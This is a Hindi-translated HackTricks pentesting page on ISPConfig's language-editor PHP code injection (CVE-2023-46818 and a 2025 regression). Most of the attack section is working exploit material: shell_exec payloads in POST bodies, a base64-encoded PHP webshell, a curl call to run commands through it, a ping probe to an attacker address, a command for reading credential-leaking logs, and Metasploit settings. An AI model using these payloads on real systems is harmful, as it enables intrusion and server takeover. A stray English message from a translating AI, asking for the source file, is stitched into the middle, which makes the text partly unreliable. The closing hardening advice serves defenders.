ISPConfig

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड में एक भाषा फ़ाइल संपादक (language file editor) फ़ीचर था जो, जब सुपर एडमिनिस्ट्रेटर के लिए सक्षम किया गया होता था, गलत फॉर्मेट किए गए translation रिकॉर्ड के माध्यम से arbitrary PHP code injection की अनुमति देता था। यह web server context में RCE दे सकता है और, इस बात पर निर्भर करते हुए कि PHP कैसे चलाया जाता है, privilege escalation भी हो सकता है।

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

टिप: यदि पैनल लोकली बाइंड है (उदा. 127.0.0.1:8080), तो इसे फॉरवर्ड करें:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • प्रभावित: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • पूर्व-शर्तें:
  • बिल्ट-इन superadmin अकाउंट admin के रूप में लॉगिन करें (वेंडर के अनुसार अन्य रोल प्रभावित नहीं हैं)
  • Language editor सक्षम होना चाहिए: admin_allow_langedit=yes फ़ाइल /usr/local/ispconfig/security/security_settings.ini में
  • प्रभाव: प्रमाणीकृत admin मनमाना PHP इंजेक्ट कर सकता है जो एक language फ़ाइल में लिखी जाती है और application द्वारा execute की जाती है, जिससे web context में RCE प्राप्त होता है

संदर्भ: NVD entry CVE-2023-46818 और vendor advisory लिंक नीचे References सेक्शन में।

Manual exploitation flow

  1. CSRF टोकन प्राप्त करने के लिए एक language फ़ाइल खोलें/बनाएं

पहला POST भेजें ताकि फॉर्म इनिशियलाइज़ हो और HTML उत्तर से CSRF फ़ील्ड्स पार्स करें (csrf_id, csrf_key). उदाहरण request path: /admin/language_edit.php.

  1. records[] के माध्यम से PHP इंजेक्ट करें और सेव करें

दूसरा POST सबमिट करें जिसमें CSRF फ़ील्ड्स और एक malicious translation रिकॉर्ड शामिल हो। न्यूनतम कमांड-एक्ज़िक्यूशन प्रॉब्स:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band परीक्षण (ICMP का निरीक्षण):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. फ़ाइलें लिखें और एक webshell डालें

file_put_contents का उपयोग करके वेब से पहुँचा जा सकने वाले पथ (उदा., admin/) के अंतर्गत एक फ़ाइल बनाएं:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

फिर POST बॉडी में खराब कैरेक्टर से बचने के लिए base64 का उपयोग करके एक सरल webshell लिखें:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don’t have access to your repository files. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md (or the portion you want translated) and I’ll translate the English text to Hindi, preserving all markdown/html tags, links and paths.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

यदि PHP root के रूप में चलाया गया है (उदा., via php -S 127.0.0.1:8080 जिसे root ने शुरू किया है), तो इससे तुरंत root RCE मिलती है। अन्यथा, आपको वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन मिलता है।

2025 रीग्रेशन (ISPConfig 3.3.0 / 3.3.0p1)

Language editor बग 3.3.0/3.3.0p1 में फिर से सामने आया और 3.3.0p2 में ठीक किया गया। पूर्व-शर्तें अपरिवर्तित हैं (admin_allow_langedit और admin login)। उसी पैच ने monitor XSS और world-readable rotated logs का भी निवारण किया।

नोट्स:

  • 3.3.0/3.3.0p1 पर, /usr/local/ispconfig/interface/log/ के अंतर्गत world-readable rotated logs debug logging सक्षम होने पर credentials को leak कर सकते हैं:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit steps CVE-2023-46818 से मेल खाते हैं; 3.3.0p2 भाषा संपादन से पहले अतिरिक्त जाँच जोड़ता है।

Python PoC

एक तैयार-उपयोग exploit token हैंडलिंग और payload डिलीवरी को स्वचालित करता है:

उदाहरण निष्पादन:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (जुलाई 2025 में जारी)

Rapid7 ने exploit/linux/http/ispconfig_lang_edit_php_code_injection जोड़ा, जो यदि प्रदान किया गया admin खाता system-config अधिकार रखता है तो admin_allow_langedit को स्वतः सक्षम कर सकता है।

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

मॉड्यूल records[] के माध्यम से base64-encoded payload लिखता है और इसे निष्पादित करता है, जिससे PHP Meterpreter या custom payload मिलता है।

कठोरकरण

  • मूल समस्या के लिए 3.2.11p1 या बाद के संस्करण में अपग्रेड करें, और 2025 regression के लिए 3.3.0p2 या बाद के संस्करण में अपग्रेड करें।
  • भाषा एडिटर को केवल तभी अक्षम करें जब इसकी सख्त आवश्यकता हो:
admin_allow_langedit=no
  • पैनल को root के रूप में चलाने से बचें; PHP-FPM या वेब सर्वर को इस तरह कॉन्फ़िगर करें कि वे अनुमतियाँ कम कर दें
  • बिल्ट-इन admin खाते के लिए मजबूत प्रमाणीकरण लागू करें

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें